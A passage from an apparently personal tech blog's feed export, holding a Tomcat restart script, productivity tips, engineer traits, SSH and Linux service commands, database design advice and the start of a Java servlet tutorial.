&lt;/span&gt;: &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;This script will first clear the work folder and then check if Tomcat is running, kill it, and restart the tomcat again&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#author&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Raf&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#note&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;: &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Requires $CATALINA_BASE/bin/catalina.pid to be created and $CATALINA_PID to be set.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;echo “Clear Tomcat log….”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;rm -fv /opt/apache-tomcat-8.0.39/logs/catalina.out &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;touch /opt/apache-tomcat-8.0.39/logs/catalina.out&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;echo “Clear Tomcat work folder….”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;rm -rfv /opt/apache-tomcat-8.0.39/work/Catalina/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;if [ -f “$CATALINA_PID” ]; then&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;read kpid &amp;lt; “$CATALINA_PID”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if ps –pid $kpid 2&amp;gt;&amp;amp;1 1&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;/opt/apache-tomcat-8.0.39/bin/catalina.sh start;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;read kpid &amp;lt; “$CATALINA_PID”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo “Tomcat is started at ${kpid}”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;echo “Killing Tomcat….”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;kill -kill $kpid&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;/opt/apache-tomcat-8.0.39/bin/catalina.sh start;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;read kpid &amp;lt; “$CATALINA_PID”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo “Tomcat is started at ${kpid}”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;fi&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;fi&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Habits of highly productive people.</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/17/Habits-of-highly-productive-people"/>
   <updated>2017-01-17T17:42:44+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/17/Habits-of-highly-productive-people.</id>
   <content type="html">&lt;p&gt;The best daily routines involve taking care of yourself physically, emotionally and mentally before the day starts.&lt;br /&gt;&lt;br /&gt;Aristotle said, “We are what we do repeatedly, therefore, excellence is not an act, but a habit.”&lt;br /&gt;&lt;br /&gt;What are those habits?&lt;br /&gt;&lt;br /&gt;The habits that affect productivity the most are directly related to the reasons you ordinarily complain about as justifications for being lazy or unproductive. “I’m tired, I’m cold, I can’t stop thinking about my ex, I didn’t sleep enough last night, I didn’t eat enough, my stomach hurts, I just don’t feel right today,” etc.&lt;br /&gt;&lt;br /&gt;The habits themselves are the habits related to your welfare, your physical, mental and emotional well-being. If physically you’re feeling good and have the requisite energy for productivity, emotionally you’re stable and able to withstand the stress of having a lot to do, and mentally you aren’t bogged down by identifying with every passing thought, then you have set yourself up for maximum productivity.&lt;br /&gt;&lt;br /&gt;The habits that ensure your physical, mental and emotional welfare are:&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;1. Get enough sleep&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Being tired not only slows down your mental and physical capacity. The first step in eliminating that excuse is making sure you get enough sleep.&lt;br /&gt;&lt;br /&gt;How to do it:&lt;br /&gt;&lt;br /&gt;(a) Have a set, no negotiation lights-out time.&lt;br /&gt;&lt;br /&gt;(b) Have a set time to put stop messing around with the t.v., your phone, computer, etc. Social media and t.v. can easily distract you and keep you up for an extra hour or two.&lt;br /&gt;&lt;br /&gt;(c) Read before you sleep, not only do you grow through reading but it helps lull you just enough to get you ready for bed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;2. Wake up early&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;You don’t have to immediately start waking up at 4:00 a.m but you can gradually start pushing back the time you wake up (like 15 minutes a week), and over time you can be a really early riser. The reason waking up early is so integral to success is that there are no distractions whatsoever in the morning time and you can 8-10 hours of work done in 4-5.&lt;br /&gt;&lt;br /&gt;How to implement:&lt;br /&gt;&lt;br /&gt;(a) Sleep Early&lt;br /&gt;&lt;br /&gt;(b) Have the following items done before going to bed : All your bags packed and ready to go for the next day. The clothes you want to wear the next day should be decided. What you want to eat for breakfast.&lt;br /&gt;&lt;br /&gt;(c) Have a reason to wake up - you need to know exactly what your plan is. An idea of the first few tasks you want to knock out in the morning or rather, what the first few hours of your morning is going to consist of.&lt;br /&gt;&lt;br /&gt;(3) Exercise: Looking good and feeling more confident about your physical attraction is just one incidental benefit to exercising. Your body rewards you with happiness, LITERALLY, in the form of endorphins.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;3. Eating healthy  &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Looking good and feeling more confident about your physical attraction is just one incidental benefit to eating healthier. To operate at maximum productive capacity, you need to have maximum energy levels. Pay attention to how your body responds to the different foods you eat and you’ll quickly see the importance of healthy eating and drinking water. Your body PAYS YOU with the currency of energy for treating it the right way!&lt;br /&gt;&lt;br /&gt;How to implement:&lt;br /&gt;&lt;br /&gt;(a) Cut junk food - chips, soda, fast-food, etc. Needs to just go and not be an option.&lt;br /&gt;&lt;br /&gt;(b) Have bread and other carbs earlier during the day for energy, and try to stay awake from carbs after 3 p.m&lt;br /&gt;&lt;br /&gt;(c) WATER, LOTS and LOTS of water - as much as you can have.&lt;br /&gt;&lt;br /&gt;(d) Force yourself to eat vegetables and fruits&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;4. Meditating or pray &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;All day long your mind is going at 100 miles an hour and we’re not even aware of it. We don’t think about our thoughts as events that require energy, but every thought you have requires a certain amount of energy, and the thoughts that actually stick and force you to actively think, DRAIN YOU. Meditation helps patch up the leaking of energy caused the neuroticism of the mind.&lt;br /&gt;&lt;br /&gt;How to implement:&lt;br /&gt;&lt;br /&gt;(a) Full body stretch for 2-3 minutes&lt;br /&gt;&lt;br /&gt;(b) Sit comfortably in a chair, or cross-legged on a pillow on the floor. If you’re on the floor try and sit on the edge of pillow so you’re leaning forward towards your knees as opposed to back, well, on your lower back.&lt;br /&gt;&lt;br /&gt;(c) Close your eyes, try to follow your breath.&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;5. Stay organized &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;When we know we have a million things to do with no plan of attack, we get overwhelmed and we become negative about the fact that we have so much to do, so little time, not knowing where to start. You need to have a plan of attack that breaks your big goals into smaller steps, and be strict on yourself about completing small steps. Progress adds up and you feel accomplished with every step you take.&lt;br /&gt;&lt;br /&gt;How to implement:&lt;br /&gt;&lt;br /&gt;(a) Have a journal/piece of paper, something to plan on.&lt;br /&gt;&lt;br /&gt;(b) Break down the big goals/assignments/projects that you’re doing into 5-10 little steps that are necessary in the process.&lt;br /&gt;&lt;br /&gt;(c) Plan those steps into feasible deadlines, should be flexible enough that you don’t have to stress AT ALL about getting them done.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The software engineer most likely to be sought after</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/17/The-software-engineer-most-likely-to-be-sought-after/"/>
   <updated>2017-01-17T17:23:38+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/17/The-software-engineer-most-likely-to-be-sought-after</id>
   <content type="html">&lt;p&gt;The software engineer most likely to be sought after is ;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Utterly reliable. They get things done, even if it means working hard. They notify ahead of time if they’re going to miss a deliverable.&lt;br /&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Thorough. Things they do only need to be done once, which is to say, it’s unlikely anyone else could have done it better.&lt;br /&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Productive. They get things done quickly and competently.&lt;br /&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Innovative. They can think of new ways to solve problems old and new.&lt;br /&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Adaptable. They learn new technologies easily, and can integrate it with their existing knowledge to leverage both for gain. Also known as ‘fungible.’&lt;br /&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Optimistic. When things are looking crappy, they’re the ones who convince everyone that this too will pass, and probably in a good way.&lt;br /&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Personable. People like working with them. Despite being good, they don’t make other people feel bad.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;It’s not about your primary programming language or technology. It’s not about being smarter than everyone else. It’s not about being the world’s best programmer. It’s about being good, being reliable, and being someone who other people want to work with.&lt;br /&gt;&lt;br /&gt;Managers want reliable people in bad times, and people who don’t cause trouble. Peers want someone who buoys them and makes the team stronger, and helps their team mates and the company succeed.&lt;br /&gt;&lt;br /&gt;If by some miracle a position is open, hiring managers want to hire people like this because they’re good for business, they’re good for team morale, and they’re good for the company. And they find them by remembering who THEY like working with, or asking their team for recommendations of people they like working with&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SSH & Linux Services management</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/17/SSH-&-Linux-Services-management/"/>
   <updated>2017-01-17T00:35:32+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/17/SSH-&-Linux-Services-management</id>
   <content type="html">&lt;p&gt;&lt;br /&gt;* Connect to remote server via ssh&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;ssh username@server-ip:directory-location-on-server&lt;/span&gt;&lt;br /&gt;i.e. &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;ssh ifa@144.83.29.255:/var/lib/tomcat8/webapps &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(or in Windows, use BitviseSSH client - graphical tool)&lt;br /&gt;&lt;br /&gt;* List all service&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;service –status-all&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;* List specified service&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;service –status-all | grep tomcat&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;* Start a service&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;service {service-name} start &lt;/span&gt;&lt;br /&gt;i.e.&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; service tomcat8 start   &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;* Stop a service&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;service {service-name} stop&lt;/span&gt;&lt;br /&gt;i.e.&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; service tomcat8 stop&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;* Check service status&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;service {service-name} status&lt;/span&gt;&lt;br /&gt;i.e.&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;service tomcat8 status&lt;/span&gt;&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Designing the database. First, focus on User Experience.</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/13/Designing-the-database.-First,-focus-on-User-Experience"/>
   <updated>2017-01-13T07:28:05+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/13/Designing-the-database.-First,-focus-on-User-Experience.</id>
   <content type="html">&lt;p&gt;&lt;b&gt;Don’t stress on the design of the database&lt;/b&gt; too much. &lt;br /&gt;&lt;br /&gt;Sometimes this may be hard. With internal Line-Of-Business (LOB) applications, the prevailing view of the business is often times that the &lt;b&gt;DATA is the primary asset&lt;/b&gt;, where as the software is somewhat expendable. That is, for businesses, data is everything. &lt;br /&gt;&lt;br /&gt;In my opinion, this is wrong. &lt;br /&gt;&lt;br /&gt;In reality the asset is the company’s &lt;b&gt;ability to INTERACT with data&lt;/b&gt;. To view it, to manipulate it, and to make decisions based on it. &lt;br /&gt;&lt;br /&gt;This means that even though they may place a high value on the data, what they are actually valuing is the software that you are writing. This means I would focus most of your effort on building an effective user experience, rather than on “designing the perfect database”. The database is really just a tool that enables you to deliver on a user experience. &lt;br /&gt;&lt;br /&gt;The key feature of relational data models is data and access path independance. You can add columns, change keys, introduce or remove indexes, etc, while having zero impact (or close to zero) on the applications that use it. &lt;br /&gt;&lt;br /&gt;This makes the database structure extremely pliable. Easy to change.&lt;br /&gt;&lt;br /&gt;Trying to design the database to “be flexible for the future” or to “optimize performance” is mostly a wasted effort. Changing the structure of the database will have a relatively small impact on your system. &lt;br /&gt;&lt;br /&gt;You also can’t predict how the database will scale until you run into the scenarios where you need it to scale. Your best bet is to wait until you hit performance issues. and then address them specifically.&lt;br /&gt;&lt;br /&gt;Making changes to the user experience of your app, however, is usually more expensive. UI work is time consuming, and usually takes a while to get right.&lt;br /&gt;&lt;br /&gt;So, my recommendation is :&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Just quickly produce a crappy DB design &amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;React to the actual performance scenarios you encounter &amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Focus your efforts on user experience, not on the database&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Simple Java Servlet implementation (no database)</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/11/Simple-Java-Servlet-implementation-(no-database)/"/>
   <updated>2017-01-11T05:37:40+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/11/Simple-Java-Servlet-implementation-(no-database)</id>
   <content type="html">&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;1. Creating your project directory in Tomcat’s webapps folder.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;In Debian Server, Tomcat can be installed at a few possible location such as&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;/usr/share/tomcat8&lt;/span&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;/var/lib/tomcat8/&lt;/span&gt; (Note : this is where Tomcat is installed in KWT server)&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;/opt/tomcat8&lt;/span&gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;div&amp;gt;However, our web application are to be placed inside the “webapps” folder. For example, for KWT server, your web application should be placed in :&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;/var/lib/tomcat8/webapps/&lt;/span&gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;div&amp;gt;First, &lt;b&gt;use ssh client to access your server&lt;/b&gt;. Then, go to this directory : &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;cd /var/lib/tomcat8/webapps/&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;Create a directory with your project name : &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;mkdir projectRaf&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;Create a simple index.html page to test our project page : &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;touch index.html &lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;Insert something (anything) to that file : &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;echo “this is my project page” &amp;gt; index.html&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;Go to your project page. For KWT, this will be &lt;b&gt;http://{your-server-IP-here}:8080/projectRaf &lt;/b&gt;and the content of the index.html should be displayed. Note that 8080 is the port used by Tomcat. For comparison, Apache2 web server uses port 80, which is the default port for all browser (you don’t have to specify the port for Apache2 web server). For Tomcat, you need to specify the port 8080.&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;2. Revise on the Java Servlet’s operation.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you haven’t, you should go through this note again : &lt;a href=&quot;http://nextslides.blogspot.my/2017/01/beginning-to-web-app-developement-web.html&quot;&gt;http://nextslides.blogspot.my/2017/01/beginning-to-web-app-developement-web.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Make sure you understand the use of &lt;b&gt;HTTP POST&lt;/b&gt; and &lt;b&gt;HTTP GET&lt;/b&gt; as well as &lt;b&gt;Servlet Mapping&lt;/b&gt;.&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://4.bp.blogspot.com/-aRZwfWk15AU/WHWjo9XeTYI/AAAAAAAABsc/WFCZs8eizxIOTSSMxSq2CmrgxjyZ_kmvQCLcB/s1600/Captureform.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;397&quot; src=&quot;https://4.bp.blogspot.com/-aRZwfWk15AU/WHWjo9XeTYI/AAAAAAAABsc/WFCZs8eizxIOTSSMxSq2CmrgxjyZ_kmvQCLcB/s400/Captureform.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;Handling form data represented in HTML page is a very common task in web development. A typical scenario is the user fills in fields of a form and submits it. &amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;The server will process the request based on the submitted data, and send response back to the client - this is what our Java Servlet does. &amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;3. Create simple form (Front end)&lt;/b&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;Since our index.html file is in the server, it is quite &lt;b&gt;&lt;i&gt;inconvinience to edit the file directly&lt;/i&gt;&lt;/b&gt; on the server.&lt;br /&gt;&lt;br /&gt;Luckily, &lt;b&gt;Bitvise SSH Client&lt;/b&gt; comes with &lt;b&gt;SFTP Window browser&lt;/b&gt;. This allow us to graphically transfer file from our local to our server, specifically to Tomcat’s webapps folder&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-zC6ncL0rJw8/WHWpYlRkogI/AAAAAAAABs4/M6K_GkfgkVgGLCy_5soU9PIU5psBpMDvQCEw/s1600/Capturesftpwindow.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;348&quot; src=&quot;https://1.bp.blogspot.com/-zC6ncL0rJw8/WHWpYlRkogI/AAAAAAAABs4/M6K_GkfgkVgGLCy_5soU9PIU5psBpMDvQCEw/s400/Capturesftpwindow.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://4.bp.blogspot.com/--RnMp60fnUQ/WHWpYVDCUaI/AAAAAAAABs0/LU1S2lxxYz0KNhQW_VtPJfjxYMXVToCugCEw/s1600/bitvise.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;196&quot; src=&quot;https://4.bp.blogspot.com/--RnMp60fnUQ/WHWpYVDCUaI/AAAAAAAABs0/LU1S2lxxYz0KNhQW_VtPJfjxYMXVToCugCEw/s640/bitvise.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;&quot; style=&quot;clear: both;&quot;&amp;gt;Edit our &lt;b&gt;index.html&lt;/b&gt; and put in the following :&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://3.bp.blogspot.com/-wZJe0V_VXIk/WHWkeWR_FmI/AAAAAAAABsk/7-RPmRqBzRAOilr5FWgvRo9pJVbV_SwXQCLcB/s1600/Captureformhtml.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;161&quot; src=&quot;https://3.bp.blogspot.com/-wZJe0V_VXIk/WHWkeWR_FmI/AAAAAAAABsk/7-RPmRqBzRAOilr5FWgvRo9pJVbV_SwXQCLcB/s640/Captureformhtml.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;Form attributes :&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, 